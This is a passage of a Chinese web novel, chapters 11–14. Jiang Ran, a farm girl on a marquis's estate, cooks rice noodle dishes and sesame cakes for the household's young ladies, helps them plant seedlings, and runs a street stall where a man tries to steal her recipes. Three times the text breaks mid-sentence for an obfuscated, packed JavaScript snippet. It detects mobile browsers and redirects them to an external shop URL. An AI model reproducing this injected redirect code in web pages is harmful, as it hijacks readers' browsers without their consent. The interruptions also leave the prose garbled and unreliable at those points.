侯府姑娘多，庄子也不止一个，常来这座庄子的便是四姑娘、五姑娘和六姑娘。 姜然觉得弄四个就差不多了，别的姑娘来了也能用，问姜松才知道这是给她的。 姜松弄这个不费力，知道妹妹不喜种地。但既然想出这个主意，没准儿妹妹也喜欢玩呢。 就算姜然不种，姜松也能多种些草莓。庄子有果树，但都是数年前姜老爷子种的，给三房拿的都是有虫的。 姜松想，还有钱，问问哪家有果苗，一两颗就行。 姜然心里像是被什么拨动了一下，今日又给姜松了二十文。 姜然一连去京都两天，侯府一直没来，地就一直用肥料沤着，初六下午落了小雨。 上午还好好的，眨眼间就下雨了。 姜然仰头，见雨丝落下，周围有摊贩看下雨了，一个个收摊往回走。有几个没动，似要顶着雨卖。 赵大娘道：“明儿怕是还有雨，我给你拿个蓑衣，若是不下，你明天早点买肉菜来我家做。” 只能这样了，姜然送了车，便披了蓑衣回庄子。次日下了雨，比昨儿大，肯定没法出门了。 她心中略有失望，但这对庄子来说是好事，下了雨便不用自己灌水，直接插秧省时省力。 姜然想，早点把稻子种完，姜松也能去帮忙，晚点回来，没准能赶上夜市。 这场春雨庄子等了许久，姜松他们冒雨插秧，姜然不乐意踩泥，就揽了喂鸡喂鸭的活，把家畜喂好，她听见庄子门口有动静。 先是马车车轴压地的声音，接着那边热闹了起来。 马儿嘶鸣，庄子的狗叫了两声，又混杂着几个丫鬟的声音。 “姑娘小心，当心脚下的泥。” “已经种稻子了！”这像六姑娘的声音。 姜然意识到，侯府来人了。 在地里种地的姜家人忙往回赶，刘氏和姜老爷子也从屋里出来了。 这回来的有三位姑娘，还有一个公子。等把几人安顿好，林氏还焦急地张望着，她家杏儿呢？ 11. 第十一章 送饭 每个姑娘身边都是两个丫鬟一个嬷嬷。 林氏左看右看都没找到姜杏，她忍不住问刘氏，“娘，咋不见杏儿呢？” 每年这个时节，侯府姑娘们都会过来一趟，多年来一直如此。这几日林氏日夜盼着姑娘们过来，她也好见见女儿。 当然也盼姜杏回来能带些好东西贴补贴补家里，当初怕三房几房沾光，所以分了家，分了家之后收的麦子，大房都少分不少。 林氏更想在二房三房四房面前耀武扬威，姜杏可发月钱了，可拿了什么赏赐了？不能白去侯府不是。 可是，那些个丫鬟……哪个都不是姜杏啊。 刘氏也在找，她眼睛眯着，眼底浑浊，细密的雨丝落在她脸上，好些丫鬟忙做事，背过身去她也看不清，她对儿媳道：“别急，许是这回没过来，没准儿五姑娘吩咐了要紧事给她。” 刘氏沉得住气，她道：“杏儿才去侯府几天，五姑娘身边肯定是自己常用的人。你要不放心，去打听打听不就知道了。” 话是这么听，可林氏不这么想啊，在她心里，姜杏聪明机灵，五姑娘肯定喜欢她。 可让她去打听，林氏又拉不下这个脸，就指姜然，“你去问问，你二姐咋没来？” 姜然指了指自己，“大伯母，我吗？” 林氏瞧她跟块木头似的，又怕她说错话把姑娘们得罪了，最后还连累姜杏。 便只能自己去问了。 林氏跟上五姑娘身边的嬷嬷，她给嬷嬷给递过好处的。 林氏上前套近乎道：“徐嬷嬷，我是杏儿她娘，姜杏她在侯府还好吗？今儿咋没过来呀？” 徐嬷嬷睨了眼林氏，“姜杏，你是说素星吧？素星是三等丫鬟，怎么配在五姑娘身边伺候。” 林氏如遭雷击，她道：“三等丫鬟，三等丫鬟都干啥？” 徐嬷嬷道：“三等丫鬟负责洗衣洒扫，守夜刷恭桶，在小厨房烧火。” 一等丫鬟管姑娘们的钱匣子，贴身伺候。二等丫鬟的端茶送水，整理衣物。三等丫鬟则是干粗活，寻常别到姑娘面前碍眼。 侯府姑娘们一等丫鬟二等丫鬟各两个，三等丫鬟有四个。来庄子不会把所有人都带上，只带两个丫鬟，一个嬷嬷，谁会带三等丫鬟呢。 说完徐嬷嬷就走了，而林氏还未回过神来，无措地站在原地。 怎么怎么就干些脏活累活呢，姜家没什么钱，可女儿家也不干重活和累活。 林氏喃喃道：“就不能端个茶送个水，这样还能在五姑娘面前露脸呀。离五姑娘那般远，就算再机灵，五姑娘也看不到啊。” 姜蓉喊了声大伯母，林氏这才回过头来。侯府来人，姜家人都过来相迎。 姜蓉看林氏去问，被徐嬷嬷打发了。 还下着雨，他们这些人不似侯府姑娘出门还打伞，就穿了蓑衣。 姜蓉：“大伯母想让二姐去端茶送水，想的倒是好，可也不想想侯府一个姑娘面身边有多少丫鬟？端茶送水的活哪轮得到三等丫鬟，这去了侯府，也不知是进了福窝，还是去当牛做马。” 姜然看这情形，赶紧跑了。她不想惹麻烦，更不想管姜家这些破事。如果她说不好，林氏还得以为她嫉妒姜杏，不如不开这个口。 事已成定局，再说这些无用，说了只会平白招林氏怨恨。 姜然偷偷溜走，躲在大房的院子后回头看了眼。 林氏气得不行，抬手想打姜蓉。 姜蓉赶紧跑，林氏想追，被刘氏拦下。 刘氏道：“闹啥？三等丫鬟就三等丫鬟，难道就没有变成二等丫鬟一等丫鬟的时候？你少说几句，若传到五姑娘耳朵里，只会觉得杏儿心大……” 后面的话姜然就听不清了。 她松了口气，回家喂猪。 几日功夫，猪大了一圈，姜松抓的是带黑花猪仔，黑黑亮亮，两只猪花纹不一样，已经阉过了。家里小鸡小鸭也长大了，云氏打理得不错。 侯府来人，姜家人只是从地里过来迎一迎。把人招待安顿好了，该干什么还得干什么。 姜然喂完，把拌猪食鸡食的盆刷了，脏水泼到地里。 姜松说这些能肥地，味道还不难闻。 刷干净她去看育好的菜苗，几日过去，长大不少，都有三四根叶子了，根部半个拳头的土，装在鸡蛋壳里。 没有土缺少养分，这些苗只能发芽，长不大。 姜然就想了这个主意，找了些用过的鸡蛋壳，然后装土把苗给种上。 鸡蛋壳不够，去大房要了些，林氏高兴地给了。 三房九块地都种满了，顺着篱笆还种了南瓜冬瓜，剩下的这些苗是留给小块地的。 倘若侯府姑娘们不想种，等晚上姜松得空了给种上。 今儿没去出摊，姜然不知侯府姑娘还会不会让她做米粉，如果让做，拿往外卖几文钱一碗的肯定不合适，她得想新口味。 头一次做，人家给的那么多钱，她收下也就收下了，但还这样不行。 若是日后知道了，卖别人五文一碗，卖六姑娘五十文一碗，六姑娘没准会觉得自己被当冤大头了，这生意日后就做不成了。 再说侯府那边，徐嬷嬷听见林氏后头说的几句话了，但只要五姑娘没听见就好。 当姜家多大的脸面，夫人雇他们给侯府种地，解决一家温饱，不感恩戴德，还想着自家姑娘得五姑娘重用，想得倒是美。 五姑娘能点头姜杏来侯府伺候，不外乎这是徐嬷嬷开口求的。 徐嬷嬷是五姑娘的奶嬷嬷，自然有几分颜面，况且只是做个下等丫鬟，也是巧了，五姑娘院子正好缺个人，就去求了夫人恩典。 照徐嬷嬷所说，姜杏出身农家，年岁又大，干一些粗活使得。照她看不懂眼色不知变通的性子，若非使了银子，三等丫鬟都做不上。 六姑娘听见外面动静了，却没理会。 等丫鬟把屋子收拾好，看外面雨势不大，跃跃欲试想出去。 丫鬟拦住，道：“姑娘，这会儿出门准踩一脚泥，若染了风寒便不好了。” 六姑娘道：“他们不都在外面吗？” 她可瞧见了，姜家人都冒雨种地的。 “我的好姑娘，人家在外种地，早就习以为常了，况且还穿着蓑衣，防雨防寒。您等雨势小些，天晴了再去种。” 六姑娘略显失望，丫鬟哄道：“马上中午了，不然您想想中午吃什么了” 六姑娘托起一张圆脸，道：“你去问问姜家三姑娘，中午可能做米粉，若是答应，还给她银子，就做两人份的。” 六姑娘来庄子，一为了种稻谷，二就是为了米粉。 丫鬟立刻撑伞去了三房。 雨势算不得大，却凉意侵人。 门被敲了敲，姜然过去开门，丫鬟说明来意，“姑娘若愿意，依旧一顿饭给二钱银子。” 姜然当然愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066766|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，“我中午给送过去。” 现在离中午还有一个时辰，足够她以准备。 丫鬟点点头，给姜然拿了银子。过会儿又送来一个实木饭盒，上面篆刻花纹，红木把手，看起来大气古朴。 丫鬟：“装在这里就成。” 姜然原以为是因为今日下雨，饭盒可以保温还能避免淋雨，但打开里面还放着碗盘，是漂亮的天青色瓷器。 姜然再看看自家的碗，就是小丑鸭和白天鹅。 她摇摇头开始做饭，肉让姜松去买的，买肉的时候她叫来云氏发面。 她要做糖饼，但不全是糖饼。 姜然从家里翻出来黑芝麻，用磨盘磨成粉，打算烙黑芝麻馅儿的糖饼。 但这个时代发面用老面，姜然弄不好，只能让云氏来。 姜然今天依旧是打算做一碗汤粉，一碗拌粉。酸辣味的汤粉她觉得已经很好吃了，当然也能更进一步，就比如酸味儿不用醋，而是用腌制的酸菜，这样味道肯定能更上一层楼。 里面多加东西，比如煎蛋茶叶蛋，但茶叶蛋来不及了，煎蛋吸满汤汁也好吃。 再加炖好的猪排，大口嗦粉就该大口吃肉。 拌粉姜然有主意的，可以做山芋泥拌粉、擂椒皮蛋拌粉。家里没有松花蛋，但是有山芋，姜然琢打算今天做前者。 六姑娘又不是以后不来了，这次做的好吃才有下次。 芋头先上锅蒸熟，然后切小块压成泥。 姜松买肉很快，没去京都，去了周围庄子问，等肉买回来，姜然把肉排炖上了。 姜然以前做过土豆泥拌粉，这个时代没有土豆，她选用了芋头。 做出来是较为黏糊糊的口感吃着略腻，调味儿得用辣味肉香。 辣是重中之重，有茱萸的辣油，芋头泥又加了少许水，混着猪油肉末，较为干噎的芋头泥就变得细腻顺滑。 用勺子舀一勺，倒进拌粉里，就跟瀑布似的流下。 第一碗是姜然吃的，拌好之后，每根粉都裹着山芋泥和肉末。 粉弹，山芋泥绵软，入口是沙沙的口感。 咸香爽辣，姜然觉得这个完全可以加到摊子里，但姜然不打算现在，一来摊子太小，她一个人忙活不过来。二来时机不好，她观察过坊市，一样吃食少则两三家卖的，多则四五家。她刚来，分不清谁先来后到。 拌粉汤粉做法简单，姜然边做边卖肯定逃脱不了这个命运，如果有人卖，她加新的菜品也能走在前面。 两碗汤粉两碗拌粉，外加两个黑芝麻馅儿的糖饼。这是甜口的，但糖放得不多，姜然是觉得糖对侯府姑娘们来说并不是珍贵之物，甜的东西平日肯定不少吃，索性少放糖和油，吃个新奇。 因为拿来的碗不大，所以份量就也不是太多，但是样数多。 姜然看这一份饭，麻辣鲜香酸甜都有了。 做好已经到中午了，雨势小了，天上飘下来细细的毛毛雨，打到脸上冰凉凉的。 下过一场雨，天地像是被水洗过一样，山峦碧绿，稻苗青翠，草、树、花上还有雨珠，看起来很新鲜空灵。 姜然深吸一口气，提饭盒去姑娘们的住处，把饭盒交给丫鬟，她顺势问了嘴，“素鱼姑娘，我看天晴了，姑娘们可想出门转转种些东西？我哥翻了几块地，还弄了菜苗，有茱萸胡瓜豇豆茄子，还有草莓苗。” 姜然声音轻快，“若姑娘们想种，去三房找我就是。” 12.第十二章 憧憬 没别的事，姜然说完放下东西就回了。话已带到，若六姑娘她们不种，就等姜松晚上把空地种上。 姜然回了三房，素鱼则提着食盒进屋，先把饭菜都摆上桌，“小姐，姜小娘子把饭送来了。” 六姑娘和四姑娘去净手，这才坐下用饭。 这么会儿功夫饭已经摆好了，做丫鬟的就得眼观四路耳听八方，时时刻刻注意姑娘们的神色，体察姑娘的心意。 上次六姑娘见碗筷皱了眉，这次出门，素鱼去拿饭的时候，直接拿了六姑娘平日用的碗筷。 她把粉和芝麻饼等物都把摆了出来，筷子和勺子放在筷箸上。 六姑娘眼中闪过满意，神色颇为意外，“今儿的和那次不一样，姜四做事真妥当，也爱琢磨。” 六姑娘难道心里不知四碗碗粉不值两钱银子吗？姜然收了钱，让她吃得高兴，值与不值就不那么重要了。 这回做了新的，她乐意掏钱。 肉末拌粉摆得好看，比上次多了一个煎蛋一块肉，几根青菜平铺，赏心悦目。 山芋泥拌粉六姑娘从未见过，也未吃过，便先尝了这个。 世家女仪态都是一等一的，吃了几口，六姑娘拿帕子擦擦嘴角，“比猪油拌粉好吃。” 若猪油拌粉是粗犷美人，那芋泥拌粉则含蓄得多。一个香得直冲脑门，一个能慢慢回味，但各有千秋。 又尝汤粉，便觉酸味更胜从前，煎蛋猪排滋味也不错，芝麻糖饼是从没吃过的东西，像点心，里面却又不一样。 寻常吃的点心也有芝麻馅儿的，要么粘稠要么干噎，可这饼里面的馅竟然能流动。 吃过芝麻饼后六姑娘更喜欢这种，口味微甜，又十分细腻。这个临走可以问问，让姜姑娘多做些，带回去吃。 汤粉拌粉不好带，芝麻饼总能带。 这三样就没有哪个不好吃的，搭配起来也相得益彰，咸辣的有，甜口的正好解咸腻味。 也不会太渴，毕竟有汤粉，那汤酸酸辣辣的也很好喝。 舀一勺汤，就会舀到肉末和酸菜，又香又脆。 饭盒里还有小碗，里面装了辣子，六姑娘喜辣，加了一勺。尝尝觉得不够，又加了一勺。 六姑娘忍不住感叹，“这汤粉还是姜姑娘做得最好。” 六姑娘回去的时候让小厨房做了，可粉做的不如姜然做得弹，汤底也不如姜然弄得好吃。 四姑娘道：“是啊，这个真好吃。” 六姑娘辣得嘴巴都肿了，她问：“要不要给三哥还有五姐姐送去一份？” 姐妹三人同上学堂，同来庄子，但六姑娘和四姑娘更为亲近，胜似亲姐妹。 侯府孩子多，自然不都是一个娘生的。 四姑娘为永宁侯夫人所生，六姑娘和她走得近，起初是因为自己小娘听嫡母的话。后面相处下来，四姑娘性子娇蛮，本性不坏，六姑娘娇憨，对很多事都不在意，姐妹俩总在一处玩。 三公子和五姑娘一母同胞，二人小娘在侯府颇为受宠。 都是府上小姐少爷，大面上对他们一视同仁，月钱一样，都去学堂，每个姑娘丫鬟也是一样的，可实际上总有差别。 嫡母会贴补自己的亲生儿女，小娘受宠，孩子也好过。 不过明面都是每月十两银子的月钱，六姑娘是做妹妹的，若请了兄长和姐姐吃，她月钱可就不够了。 月初发月钱，这个月她就已经花了不少。 四姑娘道：“不出钱吃什么吃，姜小娘子人就在那儿，她想吃自己就去买呗，还用得着你？” 四姑娘又喝了几口汤，心中略惋惜，不能把姜然带回侯府去。 她道：“你五姐前阵子不从姜家带走了一个吗？没准也会做，就不用咱们操心啦。” 六姑娘觉得这也有理，她道：“今儿吃一顿，等临走再吃一顿。不知这个时节都有什么好吃的，我还是想去采野菜，吃野菜馍馍。” 四姑娘：“芝麻糖饼不好吃吗？非要吃野菜。” 六姑娘道：“大鱼大肉吃多了，自然便想吃山珍野味。” 二人一边说话，一边把饭吃完。 吃过饭后，丫鬟进来收拾，二人坐在椅子上发痴回味。 素鱼道：“小姐，外面雨停了了。姜小娘子说她兄长翻了几块地，还准备了菜苗，有豇豆苗茄子苗，您若想去种地可以去看看。” 上次来捡麦穗，这回二人是想体验一下插秧，往年似乎插过，却已经忘了。 四姑娘：“菜苗？” 六姑娘兴致勃勃，她道：“那去种地吧，庄子地多，插秧都不知道插到何时去。等咱们把菜苗种上，让庄户的人看着，隔一阵就过来看看，没准儿几个月后就能吃到自己种的菜了。” 外面雨已经停了，六姑娘不打算午睡，让丫鬟去传话，顺便问问她五姐姐去不去，自己和四姑娘则换好衣裳。 她们有常用的篮子、锄头……专门找人打的，精致小巧。还有下雨穿的鞋，以免脏了绣花鞋。 五姑娘向来不喜这些，说要午睡，二人就自己去了。 她们过来的时候，姜然已在等着了，她身边摆了一篮子瓜苗一篮子菜苗。 姜然问过姜松，在地上刨了坑，把蛋壳捏碎，菜苗种到坑里就行，再把土埋上，刚下的雨不用浇水。 姜然看只有四姑娘和六姑娘，说道：“这两块地如何？” 她身边的两块地离得近，大小也一样。 六姑娘点点头，四姑娘则看看四周，问道：“旁边的地呢？” 姜然道：“这是我哥开垦的菜地，自家种的，姑娘们若想种大的，那等晚上我哥再开垦几块。” 四姑娘眉头一皱，“那就不必了，这么大，都种完多累。” 姜然试探道：“那这些地我家可以种吗？” 其他几房曾把菜卖给侯府，姜然是有样学样。 四姑娘道：“有何不可，你快说怎么种吧。” 姜然笑了笑，说道：“只需挖坑，然后把菜苗埋进去就行啦，坑需挖得略比这鸡蛋壳深一些。这几样秧长得高大，不能种太密。” 姜然讲了几样菜的习性，都是问姜松的。 姜然：“种好之后不用浇水，等日后缺水了，姑娘们恰巧不在，我和我哥过来浇水捉虫。” 听说有虫子，四姑娘六姑娘吓了一跳。 四姑娘感觉头发都立起来了，她道：“那你哥可得常来抓虫子，现在地上有吗？” 姜然道：“或许有地龙，但那是益虫，管翻土的。” 二人让丫鬟先把地里瞧仔细了，见没虫子才进去，挖两个坑，把苗一埋，倒是有模有样。 不用等种子发芽，种完地里就郁郁葱葱的。小苗在春风中迎风招展，看着鲜嫩又机灵。 四姑娘觉得秧苗可爱，她道：“你可得地给看好了。” 姜然道：“姑娘放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068490|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。” 四姑娘朝丫鬟抬抬下巴，丫鬟很有眼色地给姜然了个荷包。 姜然接过荷包，“多谢四姑娘！” 二人又去田间看姜家众人下田插秧，绿油油的秧苗连成一片，地里有水，黑乎乎的，总觉得有什么东西要从水里钻出来。 这边不用姜然陪着，姜然回屋数钱去了。 把院门关上，房门关上，她把铜板和银花生铺在桌子上。 早先买碗花了二钱银子，现在还剩四个银花生。这东西模样讨喜，胖乎乎的，很招人喜欢。再者此物就是钱，就更招人喜欢了。 铜板很多，姜然去了五日，第一天剩下二十多钱，第二天买肉上交钱，剩六十五枚，后面三天一天剩八十福达钱，五天下来姜然已经攒了三百六十六个铜板啦。 生意慢慢稳定，以后每日除去买肉的钱、上交家里的二十文，姜然能剩八九十文。 假如这一个月都不刮风下雨，她日日出摊，一个月下来能攒两三贯。 当然刮风下雨是避免不了的，但是她每月还给姑娘们做菜，一回能弄两三个银花生，差不多把不出摊的补上。 赚钱攒钱的欢乐充盈着姜然内心，尤其这钱姜松不会要。 姜松人品正直，就算日后跟他一块儿去都城摆摊，大概也只会要他该得的。 赚了钱，姜然想把摊子好好弄弄，首先锅得换一口方便的。现在煮粉，还是一锅煮一个人的份，如果是换一口锅底深一点的锅，就能在周围挂竹漏斗，一锅就能煮好几份，人多客人也不必等了。 是不是能在摊子旁边加些煎蛋肉排卖呢？ 还有京都的夜市，姜然对这个兴趣很大，很想去看看赵大娘口中热闹繁华、子时不歇的夜市是什么样子的。 把钱数了两遍，姜然这才收起来，分几份藏好。 也不知姜松他们何时回来，他们中午回来的时候姜然不在，就给留了饭，晚上每日都忙到很晚。 基本上姜然都是先睡，次日一早人又不见了。 姜然在家给准备饭食，顺道喂鸡喂猪。 傍晚时分，天边浮现出吃红色的晚霞。姜家人还在地里，等天黑了，大房他们回来了，还是不见姜松三人的影子。 姜然带了芝麻馅糖饼摸黑过去，在自家地找到三人。 三人狼吞虎咽地吃完，姜松道：“好吃，你一会儿回去。” 姜传力二人没说什么，姜然这么多天也习惯了。二人不善言语老实巴交，要是夸她做得好吃才奇怪。 姜松吃完犯困，在旁边的河沟里儿洗脸洗胳膊。姜传力和云氏也悻悻的，看起来累得不轻。 姜然道：“回去吧，天都黑了。” 姜松道：“还有月光呢，再种会儿。” 种了六天，三房的地还剩二十亩出头，是几家里最快的，姜松想快点种完。 姜然知道劝不住，就提了篮子回去，回去路上，她见四房几个绕着庄子转，似乎是在找什么。 姜然没凑上去问，快步往回走，快进三房院子的时候，四房的姜桃推门出来。 姜桃模样秀气，皮肤白净，容貌偏小家碧玉，而姜家别的姑娘在田里跑，晒的肤色发黑发黄，就显得姜桃很不一样了。 她站在月色下，喊道：“爹娘，你们去哪儿了？找你们找半天。” 姜然清晰地看见她四婶脸上错愕、惊诧、怒火交织，一张脸跟调色盘似的，好不精彩。 13.第十三章 偷师 陈氏气得不轻，看姜桃的眸子似要喷出火来。 姜然瞧见四房其他人眼中有焦急，可看到姜桃的一瞬间，又变成无奈埋怨，所有事都指向了一个答案，四房找的就是姜桃。 陈氏没有生嚷嚷，硬是把心底那口气忍了下来。 一家进了门，陈氏拧着姜桃的耳朵把她拽进屋，进了院门之后才道：“你干啥去了？说，找你找了半天，可吓死我和你阿爹了。” 姜桃比姜然小一个多月，同是十三。 她把陈氏的手拨开，“阿娘，你这是做什么呀？我就在屋里，哪都没去。” 陈氏：“你要是在屋里，我能里外翻遍了都找不到你人影，快说去哪儿。” 姜桃幽幽叹了口气，“我还能去哪儿，就在庄子呗。” 陈氏又不眼瞎，如果姜桃在家里，怎么可能找不到。 “你还不说！” 陈氏抄起地上的板子要打，姜桃两个弟弟去拦，“阿娘，你这是作甚？” 陈氏：“你俩滚，我打死她这个不孝女！” 板子快到姜桃面门，姜桃闭上眼睛，“阿娘！我刚才跟三公子出去了！” 板子并没有落下来，陈氏把板子扔下，拉住姜桃的手，把她上看下看左看右看，“你和三公子出去干啥啊！” 女儿才十三，尚未及笄，跟男子出去是要吃亏的。 姜桃拂开陈氏的手，道：“三公子读书烦闷，来庄子散心，我带他四处走了走。你别看了，我没吃亏，我又不是傻子。” 姜桃拉陈氏回了屋，她道：“如今无名无分，怎能让三公子占我便宜？况且三公子温文尔雅，不是那种人的，我只是带他见一些平日见不到、和侯府不一样的东西，放风筝、骑马跑马、去河里摸鱼……三公子很喜欢。” 这些对庄户的孩子来说习以为常，但是对侯府的人来说，却是很难得的自然坦率之雅事。 三公子今年十六，听闻已经定了亲，就等科考过后成亲，未婚妻子家中和侯府门当户对，很是相配。 姜桃不在乎这些，男子三妻四妾是寻常。况且，三公子觉得侯府规矩多，便连未婚妻子也是一板一眼的世家贵女，无半点人气，还真就喜欢她这样鲜亮活泼的。 到时她不在主母面前碍眼，过自己的小日子，只要三公子喜欢她，她也懂分寸，日子不会难过。 姜桃是知道自己几个姐姐的，姜然就不必说了，向来没什么主意，和三伯母一样老实。姜杏去了侯府当差，却不是好出路，那是去伺候人的。三姐这些日子总往马厩跑，今儿没去，是因为那个姓陈的管事没来。 侯府管事，听着不错，可大多二三十岁了。 姜桃才十三，她觉得那些都不是适合自己的路，“阿娘，你从小就待我好，我怕晒就可以不出门，什么都依我。若我长得丑陋，我什么都不想，可既然能试试，为何不试试呢？” 陈氏以前只当自己女儿娇气，怕晒怕风吹，总是求她拿钱买胭脂和珍珠膏，但陈氏就这一个女儿，嘴甜懂事，她求什么，陈氏心软都答应。 如今陈氏才知道女儿的心气原来这么高。 她和林氏不一样，林氏把姜杏送去当丫鬟，一是姜杏自己愿意，二是林氏想姜杏能得钱贴补家里。但去当丫鬟哪是什么好出路，入了奴籍，再想赎身就难了，如果是犯了个什么错，还得被打骂，有啥好的？ 大房还马不停蹄地分了家，生怕其他几房占到便宜。 陈氏没再说话，若真能嫁到侯府，哪怕为妾，对姜家来说也是高攀。 肯定比嫁个普通人为妻好，吃喝不愁，若生下一儿半女，还能分到不少钱财。 她默许道：“凡事留个心眼，万不能行差踏错，得不到的才是最好的，半点肌肤相亲都不可。也得试探三公子的心意，别觉得他跟你放放风筝跑跑马就是喜欢你，这男人钱在哪儿，心就在哪儿。” 刘氏和姜老爷子就偏心大房和姜传宝，不就全往他们搂钱。别的儿子，好像生来就得当牛做马的。 陈氏嘱咐两个儿子，这事万不能往外说，又对姜桃耳提面命道，日后不能这么晚回来了，若让别人看到像什么话。 姜桃不以为意，“可三姐不也时常出去。” 陈氏：“听我的就是，还能害你。三公子是侯府公子，你若陪他太晚，只会觉得你不检点。” 几房宅子离得远，屋里说话外面是听不见的。 姜然没在这上头分太多心思，最多看四房找人有两分羡慕，四婶四叔对姜桃很好。 这强求不来，姜然不想这些了，她打算明天出摊。 明日侯府小姐们还在庄子，听说后日回去，这回住三日，给六姑娘做菜也赚钱，但姜然更看重摆摊。 别看每日赚得少，可生意越来越好，是能持续发展的，她少去两日，没准儿卖米粉的摊子就多两三个了。 白日让姜松出门的时候多买了肉，明早再做，现在天还算凉爽，肉能放得住。若果再暖和些，这肉放一晚上，恐怕就吃不得了。 也不知道那个时候能不能租个小宅子。 次日一早，天大晴。 姜然直接去了摊子，赵大娘已经给占好位置了，“我琢磨你早上没来，肉准是昨儿买好了。” 姜然一边收拾一边道：“昨日上午天就晴了，我让我哥去买的。” 赵大娘道，“是勒，京都也是，上午雨就小了。” 她没说天晴后又来出摊的事，姜然在庄子住，过不来，说了也没用。 赵大娘没说，但姜然已经猜到了，她还得加把劲儿，早点租宅子。 她跟赵大娘打听过，租一个单间小院，五百钱到一贯不等，好一点的两贯到五贯，后者姜然就先不考虑了。 租宅子没什么不好，那日打听的时候，赵大娘还说很多官员买不起也是租宅子住。 但租宅子肯定得去找牙行，像现代一样要给中介费，租金月掠，更有掠房钱，也就是押金，给一个月到三个月租金不等。 姜然手里零零总总加一块不足两贯钱，还要打铁锅，起码得攒到三贯才能租房。 实在不行，只能朝姜松哭了，姜然知道姜松谨慎，他手里是有钱的，大约还有三四贯。 只不过租房月月交租金，姜松未见得愿意。 就算姜松乐意，姜然也有考量，只有生意稳定了，她才会下决心租一个宅子。她一边想这件事，一边麻溜把碗筷刷好，调好米浆。 很快第一个客人就来了，姜然问道：“客官想吃点什么？” 来人犹犹豫豫，看看摊子，又看看价目表，价目表做得太大了，直接把摊位挡了大半，姜然就露个脸和脖子，别的动作是一点都看不清。 “我要碗猪油拌粉吧。” 漏粉、煮粉，姜然往碗里放调料，等粉煮熟，盛出来，撒点葱花就好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073954|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她给客人递过去，客人却没接，问道：“你这里都放了啥呀？” 姜然道：“这是我秘制的调料，然后就是粉条了。” 客人问：“猪油拌粉总得有猪油吧，你粉是咋漏的，米浆里放多少水？” 姜然眨眨眼，面上疑惑还未散去，心里却明白过来了。这人买粉不是为了吃，是上她这儿打听配方来了。 她之前就瞧见过，这条街上每样吃食都有几家卖，姜然不介意别人也卖汤粉拌粉，毕竟这条街这么大，她拦不住别人想做什么。 可是，上她这里问怎么做，然后自己再去摆摊就不好了吧。 姜然笑笑，拿出自己装傻充愣的本事来，“猪油拌粉里有猪油，粉就是用漏勺漏的，米浆里有米呀。拌粉两文，好吃下次你再来。” 男人觉得姜然听不懂人话，可后头还有客人等，他把两文钱掏了，端起拌粉去后面吃。 少了价目表，从后面比前面看得还清楚。 赵大娘回头看了一眼，碰碰姜然胳膊，“小然，你那边点。” 赵大娘一边说，一边给姜然使眼色，姜然瞥了眼身后，挪挪位置，这么一挡，又什么都看不见了。 她生意不错，过来买拌粉汤粉吃的不少，等别的客人的粉煮好，人一多，彻底把姜然挡住。 男人吃完还不死心，一个客人不耐道：“你这吃完就走呗，占个凳子作甚？” 男人站起来，还想瞧，又有站着的客人道：“就这么大点儿地方，吃完还不走？” 赵大娘道：“谁知道，没准儿在这偷学手艺呢。” 这话让男人脸臊得通红，灰溜溜就走了。 等人走没影了了，姜然跟赵大娘道了声谢，赵大娘道：“小事。” 说完，赵大娘又道：“没脸没皮的，还来这儿问了。” 姜然道：“就是，就差趴锅里看了。” 赵大娘一笑，“做生意做生意！” 客人一个接一个，一个早上，姜然来了十六个客人，那个嗜辣的也来了。 但也就那次来给加了碗粉，其余时候加粉也给两文钱。 这人已经来六天了，每次一碗汤粉一勺醋，三勺辣子，姜然都记住了。今天客人过来什么都没说，姜然已经煮上粉了。 早上生意不错，没什么客人了姜然挑水刷碗，顺便把早饭吃了。 早饭都是姜松给带，鸡蛋、馍、炊饼三个换着花样来，有时赵大娘会投喂糖饼，偶尔姜然会自己煮拌粉吃。 这会已经过了辰时，她们休息也就休息半个多时辰，一会儿还得忙。 今天生意不错，那个来偷师的男人被二人抛于脑后。 累了一日，口干舌燥，外加胳膊酸。 姜然依旧是卖到下午，把东西卖完就回家，赵大娘还打算卖一会儿，姜然便自己把车放到赵大娘家去，再回街上买肉和骨头，这才迈着较为疲惫的步伐回庄子。 次日又是个晴天，听姜松说再有个两三天地就能种完了，他就跟姜然一块去汴京。 姜然心情颇好，可到了摊位的时候，赵大娘愁眉不展。 赵大娘每天过来占位置，要比姜然早到半个多时辰，往常这半个多时辰，能卖六七块糖饼，可今儿就卖了三块。 “小然，街上多了家卖糖饼的，这可怎么办好？”赵大娘舔舔嘴巴，下嘴唇疼，就这么会儿功夫，她就起了个火泡。 14.第十四章 投桃报李 